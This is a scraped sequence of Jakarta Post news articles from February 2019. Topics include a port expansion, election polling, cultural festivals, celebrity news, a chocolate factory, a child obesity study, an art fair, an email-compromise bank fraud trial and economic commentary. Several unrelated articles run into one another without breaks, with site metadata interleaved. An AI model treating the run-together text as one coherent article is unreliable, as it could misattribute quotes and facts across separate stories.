The expansion of the port has been completed and we are planning to launch it this year, Pelindo I SVP corporate secretary M. Eriansyah said recently.

As a collector port, Sibolga Ports new multi-purpose dock will provide a 296-m wide berth for the mooring of up to four vessels at a time to facilitate the unloading and loading of cargo and people.

The container yard, spanning 6,000 square meters, has a capacity of 20,000 20-foot equivalent units (TEUs) per year.

To improve and accelerate the unloading and loading of goods, Sibolga Port will also be supported by a fixed crane, Eriansyah said.

He added that the ports upgrade would help reduce logistic costs as the port had seen an increase in the traffic of goods.

Eriansyah said the port had performed better last year with 7,105 TEUs recorded in 2018 compared to 6,739 TEUs in 2017. The port also saw a 34.8 percent increase in passengers to 73,085 people in 2018 from 54,215 people in 2017.

We are optimistic Sibolga Port will perform even better in the future so it can bring multiplier effects for the countrys economy and improve the prosperity of the western region of Indonesia, especially North Sumatra, he said.

The ports expansion is part of the central government's efforts to develop regions outside Java by boosting infrastructure, with President Joko "Jokowi" Widodo previously emphasizing the importance of ports given the fact two-thirds of Indonesia's territory is water.

Sibolga Port connects with Gunung Sitoli Port on Nias Island, allowing people to commute and goods to be transported between the Sumatran mainland and the neighboring island.

Pelindo I Sibolga Office general manager, Agust Deritanto, previously said the expansion of Sibolga Port was also expected to boost domestic tourism, especially in Sibolga municipality and Tapanuli Tengah regency.

Ahmad Yais Limbong of Sibolga-based wood manufacturing company PT Mujur Timber said the expansion of the port would have positive impacts not only for passengers but also for companies, as the fixed crane would ease the unloading and loading of goods for export and import.

"As a user of the port, I appreciate Sibolga Port's development. I can directly feel the positive impacts," he said.

Sibolga Port is one of the three ports in North Sumatra alongside Belawan Port in the province's capital city Medan as well as Kuala Tanjung Port in Batubara regency, both of which are located on the east coast of the province. (ars)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 07:02 862 ab327006fac3d4a4e8af45a51b2a31b1 1 City PDI-P,Gerindra-Party,survey,jakarta,Charta-Politika Free

A survey has shown that the Gerindra Party and the Indonesian Democratic Party of Struggle (PDI-P) are the two parties currently preferred by Jakartans.

The survey was conducted from Jan. 18 to 25 by Jakarta-based pollster Charta Politika, and involved 800 respondents from districts within the Jakarta I, II and III electoral areas. They were asked questions that were aimed at revealing the political parties and the legislative candidates acceptability and electability.

As we can see, Gerindra and the PDI-P dominate these three electoral areas, Charta Politika research director Muslimin said on Monday.

In Jakarta I, which comprises districts in East Jakarta, 17.6 percent of respondents chose the PDI-P, 14 percent Gerindra and 9.8 percent the Golkar Party.

In Jakarta II, which comprises Central and South Jakarta and voters abroad, Gerindra was chosen by 27 percent of respondents, the PDI-P 24.6 percent and the Prosperous Justice Party (PKS) 8.3 percent. Muslimin, however, said they did not have respondents outside Indonesia due to technical reasons.

In Jakarta III, which comprises North and West Jakarta and Thousand Islands regency, the PDI-P was chosen by 29.4 percent of respondents, Gerindra 21.2 percent and the PKS 7 percent.

According to Muslimin, the PDI-P and Gerindra managed to get the most votes because they are both main parties that endorse president and vice president candidates  the PDI-P with Joko Jokowi Widodo and Maruf Amin, and Gerindra with Prabowo Subianto and Sandiaga Uno.

We call this the coattail effect. The respondents support for certain president and vice president candidates has affected their political party preference too, Muslimin said as quoted by kompas.com. (vla)Share this article Whatsapp

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Linkedin Nurni Sulaiman (The Jakarta Post) Yala, Thailand  Wed, February 13, 2019 08:01 862 ab327006fac3d4a4e8af45a51b2a5674 1 Business expo,exhibition,Thailand,batik,Batik-Chic Free

Farida is a batik enthusiast. So strong is her fondness for batik that the resident of Yala in southern Thailand, visited the Indonesia Pavilion and bought batik every day during the sixth edition of the annual Melayu Day @Yala.

The Malay cultural festival, which ran from Feb. 8 to 10, featured participants from Brunei Darussalam, Malaysia, Indonesia and Thailand. The Indonesia Pavilion showcased products and crafts from small and medium enterprises (SMEs), several universities, the Binjai administration of North Sumatra province and handcrafts from Dharma Wanita, an organization that groups the wives of Indonesian consular employees in Songkhla, Thailand.

I love batik and I have a collection, including some [textiles] from Indonesia. I like the motifs and designs of Indonesian batik," said Farida.

Since the Indonesia Pavilion opened on Friday, the Batik Booth managed by vendors Estu Batik Pekalongan, Roemah Srikandi and Kasturi Fashion has been the most visited booth.

"Alhamdulillah [thanks be to God], batik still has many devotees here," said Azka, the owner of Estu Batik Pekalongan.

Indonesian consul general in Songkhla Fachry Sulaiman gave his full support to the SMEs and all stakeholders of the 2019 Melayu Day @Yala festival.

"We express our gratitude and appreciation for being invited by the Yala city administration from year to year to participate and be partners in one of the biggest Malay cultural festivals in Thailand," said Fachry. "Over the three days of the 2019 Melayu Day @Yala, the Indonesian Consulate in Songkhla participated in showcasing Indonesian arts and culture through highlighting Malay culture with Indonesian characteristics, with the support of the Binjai and Medan municipal administrations."

He added that the country was also represented by several Indonesian universities that promoted continuing education opportunities for Thai students.

The Indonesia Pavilion also featured a varied range of local products and offered tourist packages. Visitors could also buy creative products from Indonesian SMEs and craftsmen that were curated especially for the festival, as well as taste a variety of dishes from across the archipelago.

"For the three days [of the festival], we introduced culinary delights such as soto Padang [Padang beef soup], rendang [beef stewed in coconut milk and spices], bakso [meatballs], nasi tumpeng [cone-shaped yellow rice with side dishes], bakwan [vegetable fritters] and other dishes that visitors could enjoy for free," said Fachry.

He said the Indonesian Consulate in Songkhla continued to support the annual Malay cultural festival, where ASEAN countries could display the richness of their local cultures and traditions of Malay origin. The festival embodied the cooperation of Southeast Asian nations in furthering the ties among Malay communities across the region.

"Hopefully the Malay cultural festival, which is eagerly awaited every year, especially by the people of Yala province and its surrounding areas, will strengthen the friendships between communities and inspire the younger generation to continue to preserve and develop the diversity of the Malay culture," said Fachry.

The festival's opening ceremony was attended by Thailand's Internal Security Operation Command Region 4 deputy director Maj. Gen. Sompol Panakul, Southern Border Provinces Administration Center (SBPAC) deputy secretary-general Sommai Boonklieng, Malaysian consul general in Songkhla Mohd. Afandi Abu Bakar, Yala Deputy Governor Nimah Makajae, Yala Mayor Pongsak Yingchoncharoen and Binjai Mayor H.M. Idaham, among others.

On Saturday, Yala Governor Anuchit Trakunmututa and his wife, Juthamanee Trakunmututa, visited the Indonesia Pavilion and tried some local dishes.

The Indonesian universities that took part in the festival included Panca Budi University Medan, the Muhammadiyah University of Jakarta, the Muhammadiyah University of Makassar and the Muhammadiyah University of Yogyakarta.

Lovely Holiday Tour and Travel also participated by presenting the "70-year-old Minang Songket and Palembang Songket" exhibition that featured the personal collection of Fachrys wife, Evariana Sulaiman, with the travel agency's representatives in traditional Simalungun dress.

The Indonesia Pavilion attracted local coverage on TV 11 Thailand and in Bangkok Post.

Editor's note: Updated with corrected version in paragraph 16Rap artist 21 Savage, who has been in custody in Georgia for nine days on immigration charges, was granted bond on Tuesday and will be released from custody on Wednesday, his attorney said.

The entertainer, whose real name is Sha Yaa Bin Abraham-Joseph, was arrested on Feb. 2 by US Immigration and Customs Enforcement agents over accusations he had overstayed his visa by more than a decade. Officials said he came to the United States from Britain in 2005.

Atlanta US Immigration Court Judge Dan Pelletier granted the 26-year-old bond during a hearing on Tuesday, his attorney Charles Kuck told Reuters by phone.

The bond amount was set at $100,000, the Atlanta Journal Constitution reported. Kuck declined to confirm the amount.

His legal team earlier on Tuesday released a statement that said he had been released. Kuck later said Abraham-Joseph remained in ICE custody because the bond was not granted before a daily 2 p.m. EST (1900 GMT) deadline, but said he will released on Wednesday.

The rapper was granted an expedited hearing after speaking with ICE officials to clarify his legal standing and bond eligibility, his legal team said in a statement.

Read also: 21 Savage a 'Dreamer' who may be victim of ICE vendetta: Lawyers

"He will not forget this ordeal or any of the other fathers, sons, family members and faceless people, he was locked up with or that remain unjustly incarcerated across the country," they said.

ICE officials were not immediately available for comment.

The rapper still faces deportation proceedings in federal immigration court, Kuck said.

"His case is not over by a long shot," he added.

Abraham-Joseph was convicted on felony drug charges in Georgia in 2014, and was arrested as part of a targeted operation with the cooperation of local law enforcement, an ICE spokesman told Reuters when the rapper was taken into custody.

21 Savage was nominated for two Grammy Awards for the hit "Rockstar", with Post Malone, including the coveted record of the year category, but was unable to attend the glitzy awards ceremony in Los Angeles on Sunday because he was being held in Georgia.

His Facebook page shows he has several concerts scheduled in the coming weeks.Hollywood veteran Harrison Ford on Tuesday attacked US President Donald Trump and other world leaders who deny climate change saying they were "on the wrong side of history".

Ford, who famously played the title role of Indiana Jones and also Han Solo in the Star Wars franchise, was in Dubai to address climate change at the World Government Summit.

"Around the world, elements of leadership, including in my own country, to preserve their stake in the status quo, deny or denigrate science. They are on the wrong side of history," he said.

"We are faced with what I believe is the greatest moral crisis of our time that those least responsible for nature's destruction will suffer the greatest consequences."

Trump opted out of a Paris climate pact months after taking office in 2017, saying it would pose a "burden" on the US economy.

Read also: 'Indiana Jones 5' delayed again, until 2021

The Paris deal saw nations agree to limit global temperature rises this century to at least below two degrees Celsius (3.6 Fahrenheit).

Failure to meet those goals, scientists have said, could result in irreversible sea level rises, disastrous droughts and higher temperatures.

Earlier this month, the UN said the past four years were the hottest since global temperature records began, in a "clear sign of continuing long-term climate change".

Ford urged people to "roll up" their sleeves and work together to "get this thing done".

"If we are to survive on this planet, the only home any of us are ever going to know, for our security, for our future, for our climate, we need nature now more than ever," he said.

"Nature doesn't need people. People need nature."A van and a jeep parked at Makadure Madushs mistresss aunts house at Pamunuwila, Gonawala of the Sapugaskanda police division were taken into the Special Task Force (STF) custody this afternoon, police said.

They said the van had been registered under the name of Madushs mistresss mother, who has passed away. The jeep had been registered under the name of mistresss uncle.

The vehicles were suspected to have been purchased from the money earned through drug smuggling.

The two vehicles were to be handed over to the Sapugaskanda Police Station.

Meanwhile, an accomplice of underworld figure Kanjipani Imran was arrested by the STF officials in Maligawatte this afternoon.

The suspect, who was identified as Mohammad Nizar Mohammad Azwar (38) of Armour Street, is a caretaker of a building owned by Kanjipani Imran in Maligawatte.For some people, facing the onslaught of Valentine's Day flowers, candy and marketing can be overwhelming if you are single. For Riya Patel, it's a reason to celebrate love -- platonic love -- even by long distance.

Welcome to the American phenomenon of Galentine's Day, feted on February 13th -- a "holiday" gaining in popularity with each passing year, and also gaining in terms of its message of female empowerment.

"I've organized this giant group FaceTime with all my closest girlfriends. All of us are going to get on the phone and celebrate each other," says Patel, a 22-year-old research analyst from the US capital.

"And then I'll just celebrate me. That's probably going to end up being some restorative yoga in my bedroom and then making something with bourbon in it."

Galentine's Day was born in 2010 during an episode of the American sitcom "Parks & Recreation," when main character Leslie Knope (played by Amy Poehler) hosts a brunch on February 13 for her best gal pals.

It was conceived as a defiant response to Valentine's Day -- a statement that the traditional romantic love is not the only kind worth honoring.

"Women are just so pummeled throughout their upbringing with this idea of romantic love imagery, and what it means to be in love," said Olivia Dillingham, a brand consultant for women in New York.

"That does create this sense of unworthiness and failure when you come around to Valentine's Day and you don't have someone to go to dinner with."

Galentine's Day has grown from being a semi-joke to a semi-serious holiday -- and it's generating big money.

There is also a lot of pink, a lot of gold and a lot of glitter.

Many businesses have started selling themed products -- cards, wine glasses, candies, cookies. Big box stores have dedicated sections for the event.

Bars and restaurants are organizing happy hours and parties.

Read also: Thursdays are for lovers: Where to celebrate Valentines Day in Jakarta

In Washington, whisky bar Jack Rose Dining Saloon is hosting a special cocktail hour. The luxury St Regis Hotel has planned an afternoon tea with an exclusive pop-up jewelry boutique.

"We did it a little playful, with colorful girl colors," said Heather Dobson, the hotel's head pastry chef, displaying an array of small pastries decorated with candy hearts, chocolate lips and rose petals.

Clothing retailer Madewell is staging a promotional sale, encouraging shoppers to view the clothes purchased with a 20 percent discount as their new "BFFs" -- best friends forever.

A search on the hashtag "#galentinesday" on Instagram reveals thousands of photos of pink balloons or ladies' brunches.

Dillingham, 24, hosted a Galentine's Day party last year: she and other female friends cast "love spells" on themselves, exchanged flowers and traded compliments.

"Having a really strong solid support system and having support in yourself is so important," she said.

"And it's just a good excuse to bring friends together."

Time for reflection

A Galentine's Day tea setup is seen at the St. Regis hotel February 12, 2019 in Washington, DC. (AFP/Brendan Smialowski )

Only 51 percent of Americans plan to celebrate Valentine's Day in 2019, according to the National Retail Federation -- a decrease of more than 10 percentage points over the past decade.

But Galentine's Day sales are predicted to bring in a 20 percent total revenue increase over the next three years, according to an estimate by NPD retail analyst Marshal Cohen.

For Patel, Dillingham and others, the holiday goes beyond rebelling against Valentine's Day and partying to also include a time of personal reflection -- more than just "ovaries before brovaries," as Leslie Knope would say.

"It started out as very shallow," Patel said. But now, "it feels bigger than just celebrating female friends. It's a day to reflect on people who support you in your life."

Some businesses are working to embrace that deeper message.

Arley Arrington, the owner of Arley Cakes in Richmond, Virginia, has made alternative "conversation" heart cookies since 2016 -- instead of "I love you" and "Be mine," they say things like "Flawless" and "Be my equal."

Although she doesn't market them specifically for Galentine's Day, the 29-year-old baker says most of the orders come from women planning to give the goodies to their female friends.

Her inspiration? The annual Beyonce-themed Galentine's Day dinner she hosted with her friends in Charlottesville before she moved to Richmond.

"People get excited when they're able to confront or think about those more challenging things in a cute format," Arrington said.

Sara Phillips, a 37-year-old Washington perfume-maker who is co-hosting a Galentine's Day workshop, says she is on board with the holiday's message -- even if she had not heard of it before this year.

"It's really all about women's empowerment and women helping each other out and encouragement," she said.

Patel agrees: "I think that's the special part, celebrating how women are supporting each other."Tolerance and non-judgemental understanding may be the best way to try to save radicalized young Europeans who want to go and join militant Islamists in Middle Eastern conflicts, veteran French actress Catherine Deneuve said on Tuesday.

Farewell to the Night, which premiered on Tuesday at the Berlin Film Festival, tells the story of Muriel, played by Deneuve, and her attempt to stop her grandson from joining Islamic State in Syria.

"The character in the film is certainly an intelligent woman, but she is also very tolerant, she is somebody who doesn't judge, who tries to understand," Deneuve told a news conference.

Muriel's quiet life on a horse-breeding farm in rural France is interrupted by a visit from her grandson Alex whom she raised after his mother's death in an accident.

He has stopped by the farm to say goodbye to her before supposedly leaving to take up a job in Canada. During his short stay, Muriel finds out that her grandson has been converted to Islam through his girlfriend Lila.

Muriel, herself born in Algeria, accepts her grandson's new religion and tries to understand him. But she later learns that Alex plans to leave for Syria to join Islamic State and she becomes torn between trying to dissuade him from going and having the authorities intervene.

Read also: French film legend Deneuve wins Japan's top art prize

Crossing to the other side

"The whole point of the film for me was about how this down- to-earth woman... how all of a sudden, she can find her way to help her grandson when she realizes that he's crossed over to the other side," director Andre Techine said.

Techine said he wanted the audience to ask themselves what they would do if they found themselves in that situation.

Muriel turns for help to an ex-jihadist who returned to France after trying to live in Syria for a while.

The film portrays Alex as having little understanding of Islam or of the political situation in Syria. The internet is his primary source of information about his religion and, for him and Lila, life after death is the only one worth living.

Much of the characters' dialogue in the film is drawn from interviews with de-radicalized jihadists, Techine said.

"These are actually their own words ... I wanted those words to be heard by the audience," he said.

Out of more than 5,000 Europeans - mostly from Britain, France, Germany and Belgium - known to have joined the ranks of Islamist fighters in Syria and Iraq, some 1,500 have returned, Europe's police agency said last year.In Bali, an island where tourism has been a dominant economic and sociological force for decades, agriculture has increasingly become a forgotten sector.

Consequently, local farmers have to deal with a growing number of challenges to stay relevant.

Agricultural Technology Assessment Agency (BBPT) researcher I Wayan Alit Artha Wiguna has been working on several initiatives to assist those farmers.

Alit, who has been with the agency for more than 30 years, introduced the system of rice intensification (SRI) methods to farmers at Wongaya Betan in Tabanan, Bali, to increase productivity.

Alongside Stephen Lansing, an anthropologist and prominent expert on subak, Alit drafted the academic text that played a critical role in the inclusion of subak on UNESCO's World Heritage List in 2012.

The inclusion prompted local administrations to set several subak as conservation sites, prohibiting the conversion of rice fields in that area into building or tourism facilities.

Alit decided four years ago to make a big leap that would enable him to create more smiles on the faces of local farmers. He invested Rp 600 million (US$42,747) to set up a chocolate factory at his birthplace, the village of Cau in Tabanan, some 35 kilometers west of Denpasar.

Indonesia is the world's third-largest producer of cacao beans, yet that fact does not translate into smiles across our cacao farmers. Don't they deserve to be happy? he said.

There must be something amiss with the way we process our beans, he added, pointing out how European countries, such as Switzerland and Belgium, had a towering presence in the chocolate industry, despite the fact that all major cocoa plantations were located outside the continent.

Alit then dedicated himself to learning about cocoa and its post-harvest process, particularly how to transform the beans into the delectable chocolate bars.

We built the factory in the village because our vision involves creating an economic platform for the village to flourish, Cau Chocolates director Surya Prestya Wiguna said.

He claimed that Cau Chocolates was the only chocolate company on the island fully-owned by Balinese people.

It is not about provincialism but it's about telling the world that Balinese people can create high-quality chocolate products,

The factory sources fermented cocoa beans directly from farmers in Tabanan and Jembrana. As a policy, it refuses to purchase from tengkulak (speculators).

We purchase fermented beans only in an effort to educate farmers on how to process their harvests so they can set higher prices, Surya said, adding that fermentation would also enhance the flavor.

Cau Chocolates also offers a better price to farmers. Last September, when the national price was Rp 30,000 per kilogram, it bought fermented beans from farmers at Rp 50,000 per kilogram for organic beans and Rp 40,000 for non-organic.

In its first year, the factory processed up to 40 kilograms of beans per day. The amount has since soared to 700 kilograms.

The factory found a loyal partner in the Kerta Semaya Samaniya Cooperative (KSS) in coping with its increasing demand for fermented beans. The KSS is a cooperative of around 600 farmers in 38 subak and in 2017, it produced 55 tons of fermented beans.

At this time the demand is much higher than what we can supply. Cau Chocolate is our biggest buyer in Bali, KSS head I Ketut Wiadnyana said.

KSS also exports fermented beans to France and Japan.

KSS member Ni Ketut Sri Astuti said fermenting cocoa beans was a six-day process.

It is time-consuming but it commands a much higher price,

A native of Nusa Sari village in Melaya, Jembrana, she said cocoa had become her familys primary source of income.

Cau Chocolates processes the fermented beans into nibs, powder, butter and bars. Their products are available at Ngurah Rai International Airport, shops across Kuta, Denpasar, and Ubud as well as select stores in Singapore and Australia.

The factory opens its doors to curious visitors wishing to witness first-hand the magical transformation of the fermented beans into various chocolate delicacies.

It is a wonderful experience watching the whole process and learning the companys robust support to local farmers, a German visitor, Evelyn Knopwerth, said.Recent Australian research has found that sitting down and watching television may increase a child's risk of obesity more than other sedentary behaviors such as playing computer games.

Carried out by researchers at the University of South Australia, the new study looked at 234 Australian children aged 10 to 13 years, including 130 who were of a healthy weight and 104 who were classified as obese.

The researchers looked at several sedentary behaviors, including watching television, playing video games, using a computer, sitting down to eat, or travelling in a car, and measured how much time children spent sitting for each behavior as well as measuring their total daily energy expenditure, sleep, and physical activity.

The findings, published in the journal Obesity Research & Clinical Practice, showed that out of all the sedentary behaviors included in the study, watching TV was the one most strongly associated with obesity in both boys and girls.

Moreover, once the researchers had excluded sleep, they found that children the spent more than 50 per cent of their day sitting, with television taking up 2.5 to 3 hours each day.

"It's no surprise that the more inactive a child is, the greater their risk of being overweight," commented study author Dr. Margarita Tsiros, "But not all sedentary behaviors are created equal when it comes to children's weight. This research suggests that how long children spend sitting may be less important than what they do when they are sitting."

"For instance, some types of sitting are more strongly associated with body fat in children than others, and time spent watching TV seems to be the worst culprit."

The researchers also found that although watching TV was the worst sedentary behavior for both boys and girls, there were some differences between the sexes.

Read also: Having a sedentary lifestyle cancels out heart benefits of being a healthy weight

"Boys not only watched more TV than girls -- an extra 37 minutes per day -- but also spent significantly more time playing video games," explained Dr. Tsiros.

"Video gaming and computer use are popular past times, but our data suggests these activities may be linked with higher body fat in boys."

"Boys who are sitting for longer than 30 minutes may also have higher body fat, so it's important to monitor their screen and sitting time and ensure they take regular breaks."

The findings are important as those who are overweight in childhood are also more likely to be overweight as adults, meaning setting healthy habits early on can have a long-lasting impact on health.

"Children who are obese have an increased risk of developing serious health disorders, including type 2 diabetes, high blood pressure and cholesterol," Dr Tsiros noted. "They may also experience reduced well-being, social and self-esteem issues, along with pain and difficulties with movement and activity."

"By understanding children's sedentary behaviors -- especially those that are placing our kids at risk -- we'll ensure they stay on a better path towards a healthier weight."SEA Focus, a boutique art fair in Singapore, has made its debut as part of the Singapore Art Week.

Encompassing 26 local and international galleries, SEA Focus art fair, which operated as an STPI project was held in three pop-up tents at Gillman Barracks, Singapores gallery cluster.

Marked by an intimate somewhat euphoric atmosphere, the fair, which came amid the sudden cancelation of the ninth edition of Art Stage Singapore, aimed to foster a deeper appreciation of Southeast Asian modern and contemporary art.

Spearheaded by Emi Eu, the fair and STPI director, and Audrey Yeo of Yeo Workshop, it was intended to complement major activities in the art fair ecosystem that they thought needed more dedicated attention to in Southeast Asian Art.

Emi Eu insisted there was never any idea of rivaling Art Stage. We just wanted to complement with a more dedicated attention to Southeast Asian Art, she says

About half of the galleries were from Singapore, including Gajah Gallery, Art Porters, Art-2 Gallery, artcommune gallery and Art Seasons. International names included 47 Canal (New York), The Columns Gallery (Seoul), Gallery VER (Bangkok), Jan Manton Art (Brisbane), The Drawing Room (the Philippines), Niagara Galleries (Melbourne), and international galleries with a sub in Singapore such as Sullivan + Strumpf, Tomio Koyama, Richard Koh.

It was also a surprise to see the re-emergence of Wetterling Teo gallery, one of the first international contemporary galleries to operate in Southeast Asia, after a long hiatus. The gallery was a 1994 joint venture between Swedish Wetterling gallery and Daniel Teo of Singapore and SEA Focus was an inspiration to revive it.

From Indonesia there was Nadi Gallery and the upcoming Ruci Art Space, both Jakarta based, and Gajah Gallery which operates both in Singapore and Yogyakarta.

Gajah Gallery excelled with an excellent solo show by emerging contemporary artist Octora, whose beautifully executed contemporary works explore the issue of power and authenticity in colonial ethnographic portraits.

Interestingly, Seoul-based Columns Gallery filled its booth with works by Indonesian artist Timoteus Anggawan Kusno, who also took on issues of historical memory and postcolonial experience in Indonesia.

"By Airmail" by Eddie Hara (Carla Bianpoen/-)

At the fair, Nadi Gallery presented works by Agus Suwage, Eddie Hara, Handiwirman Saputra and Jumaldi Alfi.

But it was perhaps Ruci Art Space that was most worth noting as it brought works that were infused with contemporary imagery. Particularly the installation by Julian Abraham Togar, an example of the evolving practice of this era. Titled Diabethanol, it was marked by an imagery that is increasingly fascinating for todays contemporary artists who combine art, science and technology.

In his piece, Togar imagined converting diabetic urine into a source of renewable energy. While it might still be fictional it could evolve into reality in the future.

Ruci Art Space is one of the many galleries that has spoken well of SEA Focus. Gallery director Rio Pasaribu said artwork had been sold to Alain Servais, a well-known collector in the contemporary art world.

For Ruci, a first-time participant in an international art fair, this was very encouraging.

Ruci cofounder and adviser Melin Merril views SEA Focus as an asset to the art fair ecosystem as it enabled newcomers to shine internationally. She is hoping future editions will improve on the flow from one venue to the next, and adding facilities would also be appreciated.

Generally, galleries reported good sales. Perhaps, as Sean Soh of Art Porters whose entire booth sold out, said, the affordable rent of the booths enabled the presentation of young upcoming artists, whose quality of works was good but who might have had a problem entering mainstream art fairs. As Soh pointed out, his gallery intentionally focused on young collectors.

It will be interesting to see how SEA Focus further evolves. (ste)Share this article Whatsapp

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Linkedin Inforial (The Jakarta Post) Jakarta, Indonesia  Thu, February 14, 2019 00:01 862 ab327006fac3d4a4e8af45a51b2cca23 4 Inforial Free

Eleven fraudulent interbank fund transfers without knowledge of the source account owners were recorded in the period of December 2016  March 2017. In eight of the 11 cases, the transfers could not be undone by the banks, meaning a total of US$1,860,000 evaporated.

A trial of banking crime in DBS Singapore involving three Indonesian women at the East Jakarta Court and Tangerang Banten Province Court has been completed, with the three perpetrators now serving their sentences.

The perpetrators in the fraud case were Robiatun Saadiyah (RSD), alias Irawati Kurniawan, Ida Ayu Kartika (IAK) and Bernadeta Febrisia Hadjon (BFH) alias Fallenthyna Febrisia.

The trial on April 3, 2018, revealed that someone had ordered Robiatun to withdraw money from a bank account owned by PT Jerminggo Global by first falsifying the deed and other legal documents on behalf of the company, according to the National Polices Criminal Investigation Department (Bareskrim).

The woman registered the deeds and documents with the Law and Human Rights Ministry prior to opening an account at BRI. In return for her success of withdrawing the money, Robiatun received 15 percent of the withdrawn funds.

The judge handed down the verdict and sentenced Robiatun to 11 years in prison, a longer term than demanded by the prosecutor.

Robiatun filed an appeal with the High Court to ask for a sentence reduction to eight years of imprisonment. However, she filed another appeal in cassation and ended up receiving a six-year prison sentence.

In the trial it was revealed that funds worth US$500,000 transferred to Bank Mandiri were used to buy five apartments, but the purchases were later cancelled by the prospective buyers, who requested the money back (excluding a cancellation fee). The individuals that had ordered the apartments were expatriates of Nigerian nationality.

The court decided to return the penalty funds worth US$115,717 to the victim.

Meanwhile, one of the Nigerian citizens identified as EAM, 25, allegedly led the people that had ordered the apartment. Police raided a rental property in Gading Serpong area, South Tangerang, where EAM lived, but failed to arrest EAM, who is still at large.

The court also sentenced Ida, who received the transferred money amounting to US$100,000 to a 3.5-year jail term. The court seized a sedan and Rp 200 million in cash and returned the asset and the money to the crime victims bank account.

Through her lawyer, Ida wrote a letter stating her commitment to return the remaining money that she had already spent once she would receive money from the sale of land.

Police commissioner Hendrawan, a special investigator with Bareskrim, disclosed on Jan. 24, 2019, that Bernadeta, a woman with a 20-month-old baby, turned out to be the unofficial wife of EAM.

Prosecutor Herdian Malda Ksatria said the defendant had been found guilty of illegal money transfer, document forgery and money laundering. The defendant was charged under Criminal Code (KUHP) Article 85 of Law No. 3/2011 on fund transfers, Article 263 (2) on forgery and articles 3 or 5 and/or 10 of Law No. 8/2010 on the prevention and eradication of money laundering.

He said the banking crime perpetrators broke into the bank account by gaining access to an e-mail account owned by Elen, a secretary of one of the companies targeted by bank fraudsters, enabling them to read every email delivered to DBS Singapore. The perpetrator also sent a false letter of confirmation to the bank using the email address, he said.

He said the perpetrators had sent an email to Elen pretending to be an official representing the bank, providing updated information on the account balance that remains safe. Because of this, Elen did not think at all that someone had stolen the funds owned by her boss in the three bank accounts, he said.

Following the revealed cases of bank fraud, he reminded banks to remain alert so as to keep customers trust.

He also disclosed that the money had been channeled to domestic and overseas banks.

These are the names of banks receiving the funds:

Local banks:

US$300,000 to BRI, PT. Jerminggo Global Internasional on Nov. 29, 2016

US$500,000 to Bank Mandiri, PT. Trika Bumi Pertiwi on Dec. 15, 2016

US$100,000 to Bank BCA, PT. Citra Ayu Samudera Biru on Dec. 30, 2016

US$50.000 to Bank Danamon, Falenthyina Febrysia Hadjon on March 3, 2017

Overseas banks:

US$400,000 to World Salexpo Co Ltd. Shanghai Pudong Development Bank China on Dec. 19, 2016

US$400,000 to Hong Kong Best Luck Trading Ltd Bank Hang Seng Bank Limited on Dec. 21, 2016

US$40,000 to World Salexpo Co Ltd Shanghai Pudong Development Bank China on Dec. 30, 2016.

US$70,000 to SPS Steel International Co Ltd China Merchants Bank on Jan. 9, 2017

Hendrawan said the court had seized Rp180 million in cash from BFH, which had been returned to the victim.

The funds transferred to domestic banks totaled US$950,000 or about Rp 12.8 billion. The transfer of money to Bank Danamon was conducted while the victim in close communication with DBS regarding the banking fraud, while the owner of the bank account was at his office in Jakarta and there was no phone call for confirmation from DBS.

Meanwhile, the funds transferred to overseas banks totaled US$910.000 or about Rp 12.3 billion.

He said the victim had reported the case to the police in Hong Kong through his lawyer in Singapore but had not received any response.

Hendrawan said police would continue to unravel the international syndicate, with the search targeted on EAM as the main suspect.

An investigation to the syndicate revealed a fictitious transaction worth approximately Rp 43 billion, with the money transferred to Bank Mandiris Serang branch office.

He said four suspects had been arrested and put on trial at the Serang Banten District Court. The four defendants faced three years in jail.

Police seized about Rp 40 billion in cash from the four defendants.

He said the court had also decided to declare the seized money state assets, because the overseas owner of the money had failed to show up at the court until the trial was completed.Share this article Whatsapp

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Linkedin Editorial Board (The Jakarta Post) Jakarta  Wed, February 13, 2019 08:12 862 ab327006fac3d4a4e8af45a51b2a676f 1 Editorial #Editorial,manufacturing-industry,middle-income-trap,economic-growth,commodity-boom,export-oriented-industry,Trade,ADB Free

The policy recommendations of the Asian Development Bank and the National Development Planning Ministry in their joint study on Indonesias manufacturing sector are rather bold and, in some cases, politically sensitive.



Yet, their strong suggestion that the government select high-value products for development in a bid to broaden the countrys manufacturing base and attract foreign investors, preferably large companies, to develop those products is quite strategic.



The central message of the joint report is that Indonesia should revive its manufacturing sector to generate growth above the 5 percent level, where the economy has stagnated in the past four years. Continuing to depend heavily on commodities with wildly volatile prices would subject the economy to the middle-income trap.



But developing more manufacturers to produce high-value goods for the international market requires a multisectoral approach: Manufacturing policies should be supported with adequate infrastructure to connect domestic production bases to global value chains, regulations and bureaucracy must be reformed to reduce logistics costs and barriers, appropriate fiscal and monetary incentives must be offered and an adequate supply of skilled workers must be ensured.



Since high-tech industries require big capital and the support of strong research and development departments, industrial development policies should be long term and much longer than the five-year political cycle. This means that industrial policy designs should clearly define the direction of the manufacturing sector for the next 15 to 20 years. Long-term policies with a clearly defined direction are also vital for encouraging foreign companies to transfer technology, product designs and engineering and development resources to local businesses within a specified time frame. However, the government should enforce its local-content rules consistently to encourage foreign companies to source materials from domestic suppliers.



However, since manufacturing development should focus on selected product segments in the country that are strong and have comparative advantages, these potential manufacturing champions should be selected according to clearly defined performance criteria and done transparently in close partnership with the private sector.



It might be inevitable that certain manufacturers of the selected product segments would receive special treatment, but this should not be a big issue  as long as they have a clear performance target, are selected through a transparent process and have operational ties with small and medium enterprises.



The government has already started implementing the reports policy recommendation on developing special economic zones (SEZs) and industrial parks outside Java. In many emerging economies like Vietnam, well-designed SEZs and industrial parks have served as launch pads for entering the global market.



But the government must see to it that the businesses established in these SEZs and estates have shown strong performance and truly have a promising future and are not those simply seeking to enjoy the tax incentives.Share this article Whatsapp

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Linkedin Agus Pakpahan (The Jakarta Post) Jakarta  Wed, February 13, 2019 11:14 862 ab327006fac3d4a4e8af45a51b2ae39f 3 Opinion land-certification,land-ownership,industrialization,human-resources,Industry-4-0 Free

The persistent deficit in our current account reflects limited capacity to finance necessary imports of goods or services. There remains only one option to finance imports, through increasing national debt. However, if the debt utilization does not create higher returns relative to its repayment costs, it would generate a vicious circle of involution that will imperil national sovereignty, as was the Indonesian case in 1997.

Successful industrialization depends on the capability of a nation to establish institutions compatible with the increasing quality of human resources. One trend which needs to be corrected to achieve that goal is Indonesias inequality in landownership.

